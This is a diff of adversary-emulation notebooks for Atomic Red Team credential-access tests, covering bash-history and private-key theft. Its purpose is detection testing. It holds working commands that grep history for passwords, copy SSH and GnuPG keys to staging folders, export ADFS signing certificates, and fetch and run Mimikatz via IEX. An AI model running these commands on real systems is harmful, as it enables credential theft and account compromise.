"cells": [ { "cell_type": "markdown", - "id": "f0f8124e", + "id": "e5a64104", "metadata": {}, "source": "# T1552.003 - Bash History\nAdversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)" }, { "cell_type": "markdown", - "id": "7133d3a9", + "id": "48565154", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "08f5010f", + "id": "05d0eb54", "metadata": {}, "source": [ "### Atomic Test #1 - Search Through Bash History", @@ -27,14 +27,34 @@ { "cell_type": "code", "execution_count": null, - "id": "ce08fe08", + "id": "d4cdb62a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3d334004", + "id": "af01d186", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Search Through sh History", + "Search through sh history for specifice commands we want to capture\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncat ~/.history | grep -e '-p ' -e 'pass' -e 'ssh' > ~/loot.txt\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "78bd9f63", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "0b063d85", "metadata": {}, "source": "## Detection\nMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history." } @@ -42,13 +62,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1552.004.ipynb b/playbook/tactics/credential-access/T1552.004.ipynb index 2c9e7c3b..a534ee28 100644 --- a/playbook/tactics/credential-access/T1552.004.ipynb +++ b/playbook/tactics/credential-access/T1552.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3c760708", + "id": "11a9e6ce", "metadata": {}, - "source": "# T1552.004 - Private Keys\nAdversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line." + "source": "# T1552.004 - Private Keys\nAdversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email." }, { "cell_type": "markdown", - "id": "2f52df5e", + "id": "ad95a417", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b0975c5a", + "id": "91f72b9f", "metadata": {}, "source": [ "### Atomic Test #1 - Private Keys", @@ -28,87 +28,177 @@ { "cell_type": "code", "execution_count": null, - "id": "5c1f25d4", + "id": "7c5cb641", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5b469384", + "id": "e3cefea4", "metadata": {}, "source": [ "### Atomic Test #2 - Discover Private SSH Keys", - "Discover private SSH keys on a macOS or Linux system.\n", - "**Supported Platforms:** macos, linux", + "Discover private SSH keys on a FreeBSD, macOS or Linux system.\n", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\nfind / -name id_rsa 2>/dev/null >> /tmp/keyfile_locations.txt\n```" + "```sh\nfind / -name id_rsa 2>/dev/null >> /tmp/keyfile_locations.txt\nexit 0\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b15846a3", + "id": "cc406f7b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ecbdd3c1", + "id": "09e4f6cf", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/keyfile_locations.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "651f0048", + "id": "f5e25cc6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "56f9abaa", + "id": "2e6096cc", "metadata": {}, "source": [ "### Atomic Test #3 - Copy Private SSH Keys with CP", "Copy private SSH keys on a Linux system to a staging folder using the `cp` command.\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", - "```sh\nmkdir /tmp/art-staging\nfind / -name id_rsa 2>/dev/null -exec cp --parents {} /tmp/art-staging \\;\n```" + "```sh\nmkdir /tmp/art-staging\nfind / -name id_rsa 2>/dev/null -exec cp --parents {} /tmp/art-staging \\;\nexit 0\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "44534999", + "id": "d95342ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "4165152e", + "id": "0f8aa9b7", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -rf /tmp/art-staging\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ab0b1b8f", + "id": "78bf36c5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "b85b578a", + "id": "49e75ffb", + "metadata": {}, + "source": "### Atomic Test #4 - Copy Private SSH Keys with CP (freebsd)\nCopy private SSH keys on a FreeBSD system to a staging folder using the `cp` command.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Install GNU cp from coreutils package.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v gcp)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y coreutils)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "92974f3f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "7f9fd57a", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nmkdir /tmp/art-staging\nfind / -name id_rsa 2>/dev/null -exec gcp --parents {} /tmp/art-staging \\;\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "71c01de0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "761423da", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -rf /tmp/art-staging\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6d4abd30", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d2aded9f", "metadata": {}, "source": [ - "### Atomic Test #4 - Copy Private SSH Keys with rsync", + "### Atomic Test #5 - Copy Private SSH Keys with rsync", "Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.\n", "**Supported Platforms:** macos, linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\nmkdir /tmp/art-staging\nfind / -name id_rsa 2>/dev/null -exec rsync -R {} /tmp/art-staging \\;\nexit 0\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2a35db98", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "5441933d", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -rf /tmp/art-staging\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "05c5d4c4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9eb23e0d", + "metadata": {}, + "source": "### Atomic Test #6 - Copy Private SSH Keys with rsync (freebsd)\nCopy private SSH keys on a FreeBSD system to a staging folder using the `rsync` command.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if rsync is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v rsync)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y rsync)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "081b415d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 6 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "66e9d522", + "metadata": {}, + "source": [ "#### Attack Commands: Run with `sh`\n", "```sh\nmkdir /tmp/art-staging\nfind / -name id_rsa 2>/dev/null -exec rsync -R {} /tmp/art-staging \\;\n```" ] @@ -116,33 +206,78 @@ { "cell_type": "code", "execution_count": null, - "id": "a865ded9", + "id": "5fcea43d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 4" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "63cbbd07", + "id": "43f3b440", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -rf /tmp/art-staging\n```" }, { "cell_type": "code", "execution_count": null, - "id": "efb7b390", + "id": "381a7be5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "52a4f41f", + "id": "943f71a7", "metadata": {}, "source": [ - "### Atomic Test #5 - Copy the users GnuPG directory with rsync", + "### Atomic Test #7 - Copy the users GnuPG directory with rsync", "Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the `rsync` command.\n", "**Supported Platforms:** macos, linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\nmkdir /tmp/GnuPG\nfind / -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} /tmp/GnuPG \\;\nexit 0\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "35aa3fa9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "4e581671", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -rf /tmp/GnuPG\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "260db75d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5e4731fd", + "metadata": {}, + "source": "### Atomic Test #8 - Copy the users GnuPG directory with rsync (freebsd)\nCopy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the `rsync` command.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if rsync is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v rsync)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y rsync)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a6524339", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 8 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a0f25bdd", + "metadata": {}, + "source": [ "#### Attack Commands: Run with `sh`\n", "```sh\nmkdir /tmp/GnuPG\nfind / -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} /tmp/GnuPG \\;\n```" ] @@ -150,42 +285,42 @@ { "cell_type": "code", "execution_count": null, - "id": "60d5d3fb", + "id": "74d3c3aa", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 5" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "88d15478", + "id": "6687f41e", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -rf /tmp/GnuPG\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a825ea61", + "id": "80efa862", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "a6eb3914", + "id": "ffa8305f", "metadata": {}, - "source": "### Atomic Test #6 - ADFS token signing and encryption certificates theft - Local\nRetrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.\nBased on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AADInternals module must be installed.\n\n##### Check Prereq Commands:\n```powershell\nif (Get-Module AADInternals) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AADInternals -Force\n\n```" + "source": "### Atomic Test #9 - ADFS token signing and encryption certificates theft - Local\nRetrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.\nBased on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AADInternals module must be installed.\n\n##### Check Prereq Commands:\n```powershell\nif (Get-Module AADInternals) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AADInternals -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cfa89cf5", + "id": "a5d65fd5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 6 -GetPreReqs" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7a24314a", + "id": "c3706181", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -195,42 +330,42 @@ { "cell_type": "code", "execution_count": null, - "id": "7d14c2dc", + "id": "ed24ee8c", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 6" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "66322a25", + "id": "da13c6fb", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \".\\ADFS_encryption.pfx\" -ErrorAction Ignore\nRemove-Item -Path \".\\ADFS_signing.pfx\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "93c3d842", + "id": "8868a1e1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 6 -Cleanup" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "c19668cf", + "id": "aad18081", "metadata": {}, - "source": "### Atomic Test #7 - ADFS token signing and encryption certificates theft - Remote\nRetrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer.\nBased on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AADInternals and ActiveDirectory modules must be installed.\n\n##### Check Prereq Commands:\n```powershell\nif ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AADInternals -Force\n\n```" + "source": "### Atomic Test #10 - ADFS token signing and encryption certificates theft - Remote\nRetrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer.\nBased on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AADInternals and ActiveDirectory modules must be installed.\n\n##### Check Prereq Commands:\n```powershell\nif ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AADInternals -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bb5f6051", + "id": "4d6502ca", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 7 -GetPreReqs" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a990912f", + "id": "c3552eb9", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -240,31 +375,31 @@ { "cell_type": "code", "execution_count": null, - "id": "26c4176c", + "id": "d6582a62", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 7" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "9e9be565", + "id": "4f067ab0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \".\\ADFS_encryption.pfx\" -ErrorAction Ignore\nRemove-Item -Path \".\\ADFS_signing.pfx\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e881e471", + "id": "2112b3dc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 7 -Cleanup" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "61c2c647", + "id": "c18aeeac", "metadata": {}, "source": [ - "### Atomic Test #8 - CertUtil ExportPFX", + "### Atomic Test #11 - CertUtil ExportPFX", "The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.\nKeys will look like - \\SystemCertificates\\CA\\Certificates or \\SystemCertificates\\Root\\Certificates\nReference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec\nReference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -275,31 +410,31 @@ { "cell_type": "code", "execution_count": null, - "id": "d9d5a485", + "id": "da598465", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 8" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "95b30e58", + "id": "7ddcd578", "metadata": {}, "source": "#### Cleanup: \n```powershell\nGet-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n```" }, { "cell_type": "code", "execution_count": null, - "id": "b20723a7", + "id": "810813a2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 8 -Cleanup" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "1f7a0345", + "id": "12c86e8e", "metadata": {}, "source": [ - "### Atomic Test #9 - Export Root Certificate with Export-PFXCertificate", + "### Atomic Test #12 - Export Root Certificate with Export-PFXCertificate", "Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.\nUpon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -310,31 +445,31 @@ { "cell_type": "code", "execution_count": null, - "id": "96950ccb", + "id": "c47eb442", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 9" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "2756c820", + "id": "b253ae32", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntry {\n$cert = Import-Certificate -FilePath $env:Temp\\atomicredteam.pfx -CertStoreLocation Cert:\\LocalMachine\\My\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\nGet-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n} catch { }\n```" }, { "cell_type": "code", "execution_count": null, - "id": "54b91611", + "id": "08a68f00", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 9 -Cleanup" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "9b263d4b", + "id": "297b7412", "metadata": {}, "source": [ - "### Atomic Test #10 - Export Root Certificate with Export-Certificate", + "### Atomic Test #13 - Export Root Certificate with Export-Certificate", "Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.\nUpon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -345,73 +480,73 @@ { "cell_type": "code", "execution_count": null, - "id": "84f518aa", + "id": "4edf6152", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 10" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "adbb2988", + "id": "1f9e5dfb", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntry {\n $cert = Import-Certificate -FilePath $env:Temp\\AtomicRedTeam.cer -CertStoreLocation Cert:\\LocalMachine\\My -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n}\ncatch { }\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bac7504d", + "id": "dda7bc53", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 10 -Cleanup" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "27e65618", + "id": "65c461a2", "metadata": {}, - "source": "### Atomic Test #11 - Export Certificates with Mimikatz\nThe following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.\nA successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1003.001\\bin\\x64\\mimikatz.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path PathToAtomicsFolder\\T1003.001\\bin\\x64\\mimikatz.exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" + "source": "### Atomic Test #14 - Export Certificates with Mimikatz\nThe following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.\nA successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\x64\\mimikatz.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\x64\\mimikatz.exe\" | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6b92b442", + "id": "48a0be4f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 11 -GetPreReqs" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 14 -GetPreReqs" }, { "cell_type": "markdown", - "id": "791ace2c", + "id": "898a4654", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1003.001\\bin\\x64\\mimikatz.exe \"crypto::certificates /systemstore:local_machine /store:my /export\" exit\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\x64\\mimikatz.exe\" \"crypto::certificates /systemstore:local_machine /store:my /export\" exit\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ef016f3c", + "id": "9556ac54", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1552.004 -TestNumbers 11" + "source": "Invoke-AtomicTest T1552.004 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "a18e4510", + "id": "833d6faa", "metadata": {}, - "source": "## Detection\nMonitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication." + "source": "## Detection\nMonitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported." } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1552.005.ipynb b/playbook/tactics/credential-access/T1552.005.ipynb index 992a1ed8..46a4f68e 100644 --- a/playbook/tactics/credential-access/T1552.005.ipynb +++ b/playbook/tactics/credential-access/T1552.005.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "c14daf28", + "id": "668271c9", "metadata": {}, "source": "# T1552.005 - Cloud Instance Metadata API\nAdversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. 